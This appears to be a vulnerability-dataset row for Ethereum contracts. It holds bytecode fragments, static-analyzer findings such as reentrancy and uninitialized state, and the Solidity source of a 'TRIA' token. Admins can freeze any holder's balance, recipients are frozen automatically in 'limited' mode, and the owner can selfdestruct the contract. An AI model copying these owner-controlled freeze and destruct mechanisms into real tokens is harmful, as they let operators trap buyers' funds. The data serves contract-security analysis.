b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561081357600080fd5b505af1158015610827573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061084c9190611868565b5050600e805463ffff00ff60a81b198116630101000160a81b179091556729a2241af62c0000600f55600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156108c457600080fd5b505af11580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc9190611834565b5050565b6001600160a01b0383166109625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a1565b6001600160a01b0382166109c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a1565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a1565b6001600160a01b038216610aea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a1565b60008111610b4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a1565b6000546001600160a01b03848116911614801590610b7857506000546001600160a01b03838116911614155b1561107857600e54600160c01b900460ff1615610c5f576001600160a01b0383163014801590610bb157506001600160a01b0382163014155b8015610bcb5750600d546001600160a01b03848116911614155b8015610be55750600d546001600160a01b03838116911614155b15610c5f57600d546001600160a01b0316336001600160a01b03161480610c1f5750600e546001600160a01b0316336001600160a01b0316145b610c5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103a1565b6001600160a01b03831660009081526008602052604090205460ff16158015610ca157506001600160a01b03821660009081526008602052604090205460ff16155b610caa57600080fd5b600e546001600160a01b038481169116148015610cd55750600d546001600160a01b03838116911614155b8015610cfa57506001600160a01b03821660009081526004602052604090205460ff16155b8015610d0f5750600e54600160c01b900460ff165b15610d8757600e54600160a01b900460ff16610d2a57600080fd5b600f54811115610d3957600080fd5b6001600160a01b0382166000908152600960205260409020544211610d5d57600080fd5b610d6842601e61198d565b6001600160a01b03831660009081526009602052604090205560026007555b6000610d92306103c8565b600e54909150600160b01b900460ff16158015610dbd5750600e546001600160a01b03858116911614155b8015610dd25750600e54600160b81b900460ff165b1561107657600e54610e009060649061055290600390610dfa906001600160a01b03166103c8565b90611193565b8211158015610e115750600f548211155b610e1a57600080fd5b6001600160a01b0384166000908152600a60205260409020544211610e3e57600080fd5b6001600160a01b0384166000908152600b60205260409020544290610e66906201518061198d565b1015610e86576001600160a01b0384166000908152600c60205260408120555b6001600160a01b0384166000908152600c6020526040902054610f13576001600160a01b0384166000908152600c60205260408120805491610ec7836119fb565b90915550506001600160a01b0384166000908152600b602052604090204290819055610ef590610e1061198d565b6001600160a01b0385166000908152600a602052604090205561104b565b6001600160a01b0384166000908152600c602052604090205460011415610f6a576001600160a01b0384166000908152600c60205260408120805491610f58836119fb565b90915550610ef5905042611c2061198d565b6001600160a01b0384166000908152600c602052604090205460021415610fc1576001600160a01b0384166000908152600c60205260408120805491610faf836119fb565b90915550610ef590504261546061198d565b6001600160a01b0384166000908152600c60205260409020546003141561104b576001600160a01b0384166000908152600c60205260408120805491611006836119fb565b90915550506001600160a01b0384166000908152600b6020526040902054611031906201518061198d565b6001600160a01b0385166000908152600a60205260409020555b61105481611254565b6001600160a01b0384166000908152600c6020526040902054611076906113f9565b505b6001600160a01b03831660009081526004602052604090205460019060ff16806110ba57506001600160a01b03831660009081526004602052604090205460ff165b156110c3575060005b6110cf8484848461140d565b50505050565b600081848411156110f95760405162461bcd60e51b81526004016103a19190611895565b50600061110684866119e4565b95945050505050565b60006005548211156111765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103a1565b6000611180611433565b905061118c8382611212565b9392505050565b6000826111a257506000610308565b60006111ae83856119c5565b9050826111bb85836119a5565b1461118c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a1565b600061118c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611456565b600e805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112aa57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112fe57600080fd5b505afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190611759565b8160018151811061135757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d5461137d9130911684610900565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b690859060009086903090429060040161191d565b600060405180830381600087803b1580156113d057600080fd5b505af11580156113e4573d6000803e3d6000fd5b5050600e805460ff60b01b1916905550505050565b8060075461140791906119c5565b60075550565b8061141a5761141a611484565b611425848484611494565b806110cf576110cf60078055565b600080600061144061157e565b909250905061144f8282611212565b9250505090565b600081836114775760405162461bcd60e51b81526004016103a19190611895565b50600061110684866119a5565b60075461148d57565b6000600755565b60008060008060006114a5866115c0565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506114d5908661160f565b6001600160a01b03808a1660009081526002602052604080822093909355908916815220546115049085611651565b6001600160a01b03881660009081526002602052604090205561152783826116b0565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161156c91815260200190565b60405180910390a35050505050505050565b6005546000908190683635c9adc5dea0000061159a8282611212565b8210156115b757505060055492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060006115d7886007546116d4565b9150915060006115e5611433565b905060008060006115f78c8686611701565b919e909d50909b509599509397509395505050505050565b600061118c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d5565b60008061165e838561198d565b90508381101561118c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a1565b6005546116bd908361160f565b6005556006546116cd9082611651565b6006555050565b600080806116e760646105528787611193565b905060006116f5868361160f565b96919550909350505050565b60008080806117108786611193565b9050600061171e8787611193565b9050600061172c838361160f565b929992985090965090945050505050565b60006020828403121561174e578081fd5b813561118c81611a2c565b60006020828403121561176a578081fd5b815161118c81611a2c565b60008060408385031215611787578081fd5b823561179281611a2c565b915060208301356117a281611a2c565b809150509250929050565b6000806000606084860312156117c1578081fd5b83356117cc81611a2c565b925060208401356117dc81611a2c565b929592945050506040919091013590565b600080604083850312156117ff578182fd5b823561180a81611a2c565b946020939093013593505050565b600060208284031215611829578081fd5b813561118c81611a44565b600060208284031215611845578081fd5b815161118c81611a44565b600060208284031215611861578081fd5b5035919050565b60008060006060848603121561187c578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118c1578581018301518582016040015282016118a5565b818111156118d25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561196c5784516001600160a01b031683529383019391830191600101611947565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119a0576119a0611a16565b500190565b6000826119c057634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119df576119df611a16565b500290565b6000828210156119f6576119f6611a16565b500390565b6000600019821415611a0f57611a0f611a16565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a4157600080fd5b50565b8015158114611a4157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c873797ce1ee5e6c10ab8c990e11e3a7a1a2c9efa975e65fbff1dfeef25521764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "name-reused", "impact": "High", "confidence": "High"}]}}
| 9,090 |
0x22cae4635528c0aaa534cac27a15755e57cf5333
|
/**
*Submitted for verification at Etherscan.io on 2021-02-07
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Math {
function add(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function subtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
}
contract Auth {
address observer = address(0);
address owner = address(0);
address admin = address(0);
modifier isOwner {
require(owner == msg.sender);
_;
}
modifier isAdmin {
require(owner == msg.sender || admin == msg.sender);
_;
}
function setObserver(address _observer) public {
require(observer == msg.sender);
observer = _observer;
}
function setAdmin(address _admin) isOwner public {
admin = _admin;
}
function setOwner(address _owner) public {
require(observer == msg.sender);
owner = _owner;
}
function managers() public view returns (address _owner, address _admin) {
return (owner, admin);
}
}
contract Manage is Auth {
/**
* 0 : init, 1 : limited, 2 : running, 3 : finishing
*/
uint8 public status = 0;
modifier isRunning {
require(status == 2 || owner == msg.sender || admin == msg.sender || (status == 1 && (owner == msg.sender || admin == msg.sender)));
_;
}
function limit() isAdmin public {
require(status != 1);
status = 1;
}
function start() isAdmin public {
require(status != 2);
status = 2;
}
function close() isAdmin public {
require(status != 3);
status = 3;
}
}
interface EIP20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _amount) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TokenBase is EIP20Interface, Manage, Math {
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
event Burn(address indexed from, uint256 value);
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
constructor() {
owner = msg.sender;
admin = msg.sender;
observer = msg.sender;
}
function init(uint256 initialSupply, string memory tokenName, string memory tokenSymbol, uint8 tokenDecimals) internal virtual {
require(status == 0);
_totalSupply = initialSupply * 10 ** uint256(tokenDecimals);
_balances[msg.sender] = _totalSupply;
_name = tokenName;
_symbol = tokenSymbol;
_decimals = tokenDecimals;
status = 2;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view virtual override returns (uint256) {
return _balances[_owner];
}
function transfer(address _to, uint256 _value) public virtual override returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) isRunning internal virtual {
require(address(0) != _from, "ERC20: transfer from the zero address");
require(address(0) != _to, "ERC20: transfer to the zero address");
require(_balances[_from] >= _value, "ERC20: transfer amount exceeds balance");
require(_balances[_to] + _value >= _balances[_to]);
uint previousBalances = _balances[_from] + _balances[_to];
_balances[_from] = Math.subtract(_balances[_from], _value);
_balances[_to] = Math.add(_balances[_to], _value);
emit Transfer(_from, _to, _value);
assert(_balances[_from] + _balances[_to] == previousBalances);
}
function transferFrom(address _from, address _to, uint256 _value) isRunning public virtual override returns (bool) {
require(address(0) != _from, "ERC20: transfer from the zero address");
require(address(0) != _to, "ERC20: transfer to the zero address");
require(_value <= _allowances[_from][msg.sender], "ERC20: transfer amount exceeds allowance");
_allowances[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isRunning public virtual override returns (bool) {
require(address(0) != _spender, "ERC20: approve spender the zero address");
require(_value == 0 || _allowances[msg.sender][_spender] == 0);
_allowances[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseAllowance(address _spender, uint256 _value) isRunning public virtual returns (bool) {
require(address(0) != _spender, "ERC20: approve spender the zero address");
_allowances[msg.sender][_spender] = Math.add(_allowances[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
function decreaseAllowance(address _spender, uint _value) isRunning public virtual returns (bool) {
require(address(0) != _spender, "ERC20: approve spender the zero address");
uint256 oldValue = _allowances[msg.sender][_spender];
if (_value >= oldValue) {
_allowances[msg.sender][_spender] = 0;
} else {
_allowances[msg.sender][_spender] = Math.subtract(oldValue, _value);
}
emit Approval(msg.sender, _spender, _allowances[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public virtual returns (bool) {
require(_balances[msg.sender] >= _value, "ERC20: burn amount exceeds balances"); // Check if the sender has enough
_balances[msg.sender] -= _value; // Subtract from the sender
_totalSupply -= _value; // Updates _totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public virtual returns (bool) {
require(address(0) != _from, "ERC20: burn from the zero address");
require(_balances[_from] >= _value, "ERC20: burn amount exceeds balances"); // Check if the targeted balance is enough
require(_value <= _allowances[_from][msg.sender], "ERC20: burn amount exceeds allowances"); // Check allowance
_balances[_from] -= _value; // Subtract from the targeted balance
_allowances[_from][msg.sender] -= _value; // Subtract from the sender's allowance
_totalSupply -= _value; // Update _totalSupply
emit Burn(_from, _value);
return true;
}
function allowance(address _owner, address _spender) public view virtual override returns (uint256) {
return _allowances[_owner][_spender];
}
function destruct() isOwner public {
selfdestruct(payable(msg.sender));
}
}
contract TRIA is TokenBase {
uint256 private sellPrice;
uint256 private buyPrice;
uint8 freezePercent;
address[] private frozenAddresses;
mapping (address => uint256) private frozenBalances;
event FrozenBalance(address indexed target, uint256 balance);
event Price(uint256 newSellPrice, uint256 newBuyPrice);
constructor() TokenBase() payable {
init(10000000000, "TRIA", "TRC", 18);
freezePercent = 100;
emit Transfer(address(0), msg.sender, 10000000000);
}
function _transfer(address _from, address _to, uint256 _value) isRunning internal virtual override {
require(frozenBalances[_from] <= balanceOf(_from) - _value);
super._transfer(_from, _to, _value);
if(status == 1)
freeze(_to, freezePercent);
}
function increaseFrozenBalances(address target, uint256 _value) isAdmin public virtual {
require(_value > 0);
if(frozenBalances[target] == 0)
frozenAddresses.push(target);
frozenBalances[target] += _value;
emit FrozenBalance(target, frozenBalances[target]);
}
function decreaseFrozenBalances(address target, uint256 _value) isAdmin public virtual {
require(_value > 0 && frozenBalances[target] >= _value);
frozenBalances[target] -= _value;
if(frozenBalances[target] == 0)
deleteFrozenAddresses(target);
emit FrozenBalance(target, frozenBalances[target]);
}
function freeze(address target, uint8 percent) isAdmin public virtual {
require(percent > 0 && percent <= 100);
if(frozenBalances[target] == 0)
frozenAddresses.push(target);
uint256 frozenBalance = balanceOf(target) * percent / 100;
frozenBalances[target] = frozenBalance;
emit FrozenBalance(target, frozenBalance);
}
function changeFrozenBalanceAll(uint8 percent) isAdmin public virtual {
uint arrayLength = frozenAddresses.length;
for (uint i=0; i<arrayLength; i++) {
uint256 frozenBalance = balanceOf(frozenAddresses[i]) * percent / 100;
frozenBalances[frozenAddresses[i]] = frozenBalance;
}
}
function unfreeze(address target) isAdmin public virtual {
deleteFrozenAddresses(target);
delete frozenBalances[target];
}
function deleteFrozenAddresses(address target) internal virtual {
uint arrayLength = frozenAddresses.length;
uint indexToBeDeleted;
bool exists = false;
for (uint i=0; i<arrayLength; i++) {
if (frozenAddresses[i] == target) {
indexToBeDeleted = i;
exists = true;
break;
}
}
if(exists) {
address lastAddress = frozenAddresses[frozenAddresses.length-1];
frozenAddresses[indexToBeDeleted] = lastAddress;
frozenAddresses.pop();
}
}
function unfreezeAll() isAdmin public virtual {
uint arrayLength = frozenAddresses.length;
for (uint i=0; i<arrayLength; i++) {
delete frozenBalances[frozenAddresses[i]];
}
delete frozenAddresses;
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) isAdmin public virtual {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
emit Price(sellPrice, buyPrice);
}
function buy() payable public virtual {
require(buyPrice > 0);
uint amount = msg.value / buyPrice;
_transfer(address(this), msg.sender, amount);
}
function sell(uint256 amount) payable public virtual {
require(sellPrice > 0);
address myAddress = address(this);
require(myAddress.balance >= amount * sellPrice);
_transfer(msg.sender, address(this), amount);
payable(msg.sender).transfer(amount * sellPrice);
}
function setFreezePercent(uint8 percent) isAdmin public virtual {
freezePercent = percent;
}
function frozenBalancesOf(address target) public view virtual returns (uint256) {
return frozenBalances[target];
}
function frozenAddressesOf(address target) public view virtual returns (address) {
uint arrayLength = frozenAddresses.length;
for (uint i=0; i<arrayLength; i++) {
if (frozenAddresses[i] == target) {
return frozenAddresses[i];
}
}
return address(0);
}
function frozenCount() public view virtual returns (uint) {
return frozenAddresses.length;
}
}
|
0x6080604052600436106102045760003560e01c80636f71f40711610118578063a4d66daf116100a0578063be9a65551161006f578063be9a655514610585578063cd8e250a1461059a578063dd62ed3e146105ba578063e4849b32146105da578063f0b3dcd1146105ed57610204565b8063a4d66daf14610528578063a6f2ae3a1461053d578063a9059cbb14610545578063aa5c88ca1461056557610204565b806379cc6790116100e757806379cc6790146104935780638f4e5158146104b357806394d9c9c7146104d357806395d89b41146104f3578063a457c2d71461050857610204565b80636f71f40714610410578063704b6c021461043057806370a0823114610450578063723117051461047057610204565b8063313ce5671161019b57806343d726d61161016a57806343d726d61461038657806345c8b1a61461039b578063654286d1146103bb57806366c5c4a0146103db5780636db76efd146103f057610204565b8063313ce5671461031c57806339509351146103315780633ad5e1ec1461035157806342966c681461036657610204565b806318160ddd116101d757806318160ddd146102a3578063200d2ed2146102c557806323b872dd146102e75780632b68b9c61461030757610204565b806305fefda71461020957806306fdde031461022b578063095ea7b31461025657806313af403514610283575b600080fd5b34801561021557600080fd5b50610229610224366004611e95565b61061a565b005b34801561023757600080fd5b5061024061068e565b60405161024d9190611f09565b60405180910390f35b34801561026257600080fd5b50610276610271366004611e2b565b610720565b60405161024d9190611efe565b34801561028f57600080fd5b5061022961029e366004611da4565b610877565b3480156102af57600080fd5b506102b86108b0565b60405161024d9190612182565b3480156102d157600080fd5b506102da6108b6565b60405161024d9190612199565b3480156102f357600080fd5b50610276610302366004611df0565b6108c6565b34801561031357600080fd5b50610229610a29565b34801561032857600080fd5b506102da610a43565b34801561033d57600080fd5b5061027661034c366004611e2b565b610a4c565b34801561035d57600080fd5b506102b8610b7e565b34801561037257600080fd5b50610276610381366004611e7d565b610b84565b34801561039257600080fd5b50610229610c33565b3480156103a757600080fd5b506102296103b6366004611da4565b610c8e565b3480156103c757600080fd5b506102296103d6366004611eb6565b610cdd565b3480156103e757600080fd5b50610229610dd6565b3480156103fc57600080fd5b5061022961040b366004611e2b565b610e7c565b34801561041c57600080fd5b5061022961042b366004611e54565b610f80565b34801561043c57600080fd5b5061022961044b366004611da4565b6110b6565b34801561045c57600080fd5b506102b861046b366004611da4565b6110ef565b34801561047c57600080fd5b5061048561110a565b60405161024d929190611ee4565b34801561049f57600080fd5b506102766104ae366004611e2b565b611121565b3480156104bf57600080fd5b506102296104ce366004611e2b565b61128e565b3480156104df57600080fd5b506102296104ee366004611da4565b6113a5565b3480156104ff57600080fd5b506102406113de565b34801561051457600080fd5b50610276610523366004611e2b565b6113ed565b34801561053457600080fd5b50610229611585565b6102296115e0565b34801561055157600080fd5b50610276610560366004611e2b565b61160c565b34801561057157600080fd5b50610229610580366004611eb6565b611622565b34801561059157600080fd5b50610229611664565b3480156105a657600080fd5b506102b86105b5366004611da4565b6116be565b3480156105c657600080fd5b506102b86105d5366004611dbe565b6116d9565b6102296105e8366004611e7d565b611704565b3480156105f957600080fd5b5061060d610608366004611da4565b61177e565b60405161024d9190611ed0565b6001546001600160a01b031633148061063d57506002546001600160a01b031633145b61064657600080fd5b6009829055600a8190556040517fd1353c68e79ef70de84ee90d2facf845ec24895116d4a03505aa41785af71f5a90610682908490849061218b565b60405180910390a15050565b60606004805461069d90612215565b80601f01602080910402602001604051908101604052809291908181526020018280546106c990612215565b80156107165780601f106106eb57610100808354040283529160200191610716565b820191906000526020600020905b8154815290600101906020018083116106f957829003601f168201915b5050505050905090565b60028054600091600160a01b90910460ff16148061074857506001546001600160a01b031633145b8061075d57506002546001600160a01b031633145b8061079d5750600254600160a01b900460ff16600114801561079d57506001546001600160a01b031633148061079d57506002546001600160a01b031633145b6107a657600080fd5b6001600160a01b0383166107d55760405162461bcd60e51b81526004016107cc90611f9f565b60405180910390fd5b81158061080357503360009081526008602090815260408083206001600160a01b0387168452909152902054155b61080c57600080fd5b3360008181526008602090815260408083206001600160a01b03881680855292529182902085905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610866908690612182565b60405180910390a350600192915050565b6000546001600160a01b0316331461088e57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60035490565b600254600160a01b900460ff1681565b60028054600091600160a01b90910460ff1614806108ee57506001546001600160a01b031633145b8061090357506002546001600160a01b031633145b806109435750600254600160a01b900460ff16600114801561094357506001546001600160a01b031633148061094357506002546001600160a01b031633145b61094c57600080fd5b6001600160a01b0384166109725760405162461bcd60e51b81526004016107cc9061213d565b6001600160a01b0383166109985760405162461bcd60e51b81526004016107cc90611f5c565b6001600160a01b03841660009081526008602090815260408083203384529091529020548211156109db5760405162461bcd60e51b81526004016107cc906120b4565b6001600160a01b038416600090815260086020908152604080832033845290915281208054849290610a0e9084906121fe565b90915550610a1f9050848484611830565b5060019392505050565b6001546001600160a01b03163314610a4057600080fd5b33ff5b60065460ff1690565b60028054600091600160a01b90910460ff161480610a7457506001546001600160a01b031633145b80610a8957506002546001600160a01b031633145b80610ac95750600254600160a01b900460ff166001148015610ac957506001546001600160a01b0316331480610ac957506002546001600160a01b031633145b610ad257600080fd5b6001600160a01b038316610af85760405162461bcd60e51b81526004016107cc90611f9f565b3360009081526008602090815260408083206001600160a01b0387168452909152902054610b26908361191b565b3360008181526008602090815260408083206001600160a01b038916808552925291829020849055905190927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925916108669190612182565b600c5490565b33600090815260076020526040812054821115610bb35760405162461bcd60e51b81526004016107cc90611fe6565b3360009081526007602052604081208054849290610bd29084906121fe565b925050819055508160036000828254610beb91906121fe565b909155505060405133907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca590610c22908590612182565b60405180910390a25060015b919050565b6001546001600160a01b0316331480610c5657506002546001600160a01b031633145b610c5f57600080fd5b600254600160a01b900460ff1660031415610c7957600080fd5b6002805460ff60a01b1916600360a01b179055565b6001546001600160a01b0316331480610cb157506002546001600160a01b031633145b610cba57600080fd5b610cc38161195b565b6001600160a01b03166000908152600d6020526040812055565b6001546001600160a01b0316331480610d0057506002546001600160a01b031633145b610d0957600080fd5b600c5460005b81811015610dd157600060648460ff16610d5d600c8581548110610d4357634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03166110ef565b610d6791906121df565b610d7191906121bf565b905080600d6000600c8581548110610d9957634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020555080610dc981612250565b915050610d0f565b505050565b6001546001600160a01b0316331480610df957506002546001600160a01b031633145b610e0257600080fd5b600c5460005b81811015610e6c57600d6000600c8381548110610e3557634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400181205580610e6481612250565b915050610e08565b50610e79600c6000611d4a565b50565b6001546001600160a01b0316331480610e9f57506002546001600160a01b031633145b610ea857600080fd5b600081118015610ed057506001600160a01b0382166000908152600d60205260409020548111155b610ed957600080fd5b6001600160a01b0382166000908152600d602052604081208054839290610f019084906121fe565b90915550506001600160a01b0382166000908152600d6020526040902054610f2c57610f2c8261195b565b6001600160a01b0382166000818152600d6020526040908190205490517fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d91610f7491612182565b60405180910390a25050565b6001546001600160a01b0316331480610fa357506002546001600160a01b031633145b610fac57600080fd5b60008160ff16118015610fc3575060648160ff1611155b610fcc57600080fd5b6001600160a01b0382166000908152600d602052604090205461103557600c80546001810182556000919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0384161790555b600060648260ff16611046856110ef565b61105091906121df565b61105a91906121bf565b6001600160a01b0384166000818152600d60205260409081902083905551919250907fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d906110a9908490612182565b60405180910390a2505050565b6001546001600160a01b031633146110cd57600080fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205490565b6001546002546001600160a01b0391821691169091565b60006001600160a01b0383166111495760405162461bcd60e51b81526004016107cc906120fc565b6001600160a01b0383166000908152600760205260409020548211156111815760405162461bcd60e51b81526004016107cc90611fe6565b6001600160a01b03831660009081526008602090815260408083203384529091529020548211156111c45760405162461bcd60e51b81526004016107cc9061206f565b6001600160a01b038316600090815260076020526040812080548492906111ec9084906121fe565b90915550506001600160a01b0383166000908152600860209081526040808320338452909152812080548492906112249084906121fe565b92505081905550816003600082825461123d91906121fe565b92505081905550826001600160a01b03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405161127d9190612182565b60405180910390a250600192915050565b6001546001600160a01b03163314806112b157506002546001600160a01b031633145b6112ba57600080fd5b600081116112c757600080fd5b6001600160a01b0382166000908152600d602052604090205461133057600c80546001810182556000919091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0382166000908152600d6020526040812080548392906113589084906121a7565b90915550506001600160a01b0382166000818152600d6020526040908190205490517fd2dc74064ce9979876047afc7922931592038bce8a7fbaf28417799c138e4e4d91610f7491612182565b6000546001600160a01b031633146113bc57600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60606005805461069d90612215565b60028054600091600160a01b90910460ff16148061141557506001546001600160a01b031633145b8061142a57506002546001600160a01b031633145b8061146a5750600254600160a01b900460ff16600114801561146a57506001546001600160a01b031633148061146a57506002546001600160a01b031633145b61147357600080fd5b6001600160a01b0383166114995760405162461bcd60e51b81526004016107cc90611f9f565b3360009081526008602090815260408083206001600160a01b03871684529091529020548083106114ed573360009081526008602090815260408083206001600160a01b038816845290915281205561151c565b6114f78184611abc565b3360009081526008602090815260408083206001600160a01b03891684529091529020555b3360008181526008602090815260408083206001600160a01b0389168085529252918290205491519092917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925916115739190612182565b60405180910390a35060019392505050565b6001546001600160a01b03163314806115a857506002546001600160a01b031633145b6115b157600080fd5b600254600160a01b900460ff16600114156115cb57600080fd5b6002805460ff60a01b1916600160a01b179055565b6000600a54116115ef57600080fd5b6000600a54346115ff91906121bf565b9050610e79303383611830565b6000611619338484611830565b50600192915050565b6001546001600160a01b031633148061164557506002546001600160a01b031633145b61164e57600080fd5b600b805460ff191660ff92909216919091179055565b6001546001600160a01b031633148061168757506002546001600160a01b031633145b61169057600080fd5b60028054600160a01b900460ff1614156116a957600080fd5b6002805460ff60a01b1916600160a11b179055565b6001600160a01b03166000908152600d602052604090205490565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b60006009541161171357600080fd5b600954309061172290836121df565b816001600160a01b031631101561173857600080fd5b611743333084611830565b60095433906108fc9061175690856121df565b6040518115909202916000818181858888f19350505050158015610dd1573d6000803e3d6000fd5b600c54600090815b8181101561182657836001600160a01b0316600c82815481106117b957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316141561181457600c81815481106117f557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03169250610c2e915050565b8061181e81612250565b915050611786565b5060009392505050565b60028054600160a01b900460ff16148061185457506001546001600160a01b031633145b8061186957506002546001600160a01b031633145b806118a95750600254600160a01b900460ff1660011480156118a957506001546001600160a01b03163314806118a957506002546001600160a01b031633145b6118b257600080fd5b806118bc846110ef565b6118c691906121fe565b6001600160a01b0384166000908152600d602052604090205411156118ea57600080fd5b6118f5838383611af0565b600254600160a01b900460ff1660011415610dd157600b54610dd190839060ff16610f80565b60008061192883856121a7565b905083811015801561193a5750828110155b61195457634e487b7160e01b600052600160045260246000fd5b9392505050565b600c54600080805b838110156119cf57846001600160a01b0316600c828154811061199657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156119bd57809250600191506119cf565b806119c781612250565b915050611963565b508015611ab657600c8054600091906119ea906001906121fe565b81548110611a0857634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600c80546001600160a01b039092169250829185908110611a4557634e487b7160e01b600052603260045260246000fd5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600c805480611a9257634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055505b50505050565b600081831015611adc57634e487b7160e01b600052600160045260246000fd5b6000611ae883856121fe565b949350505050565b6002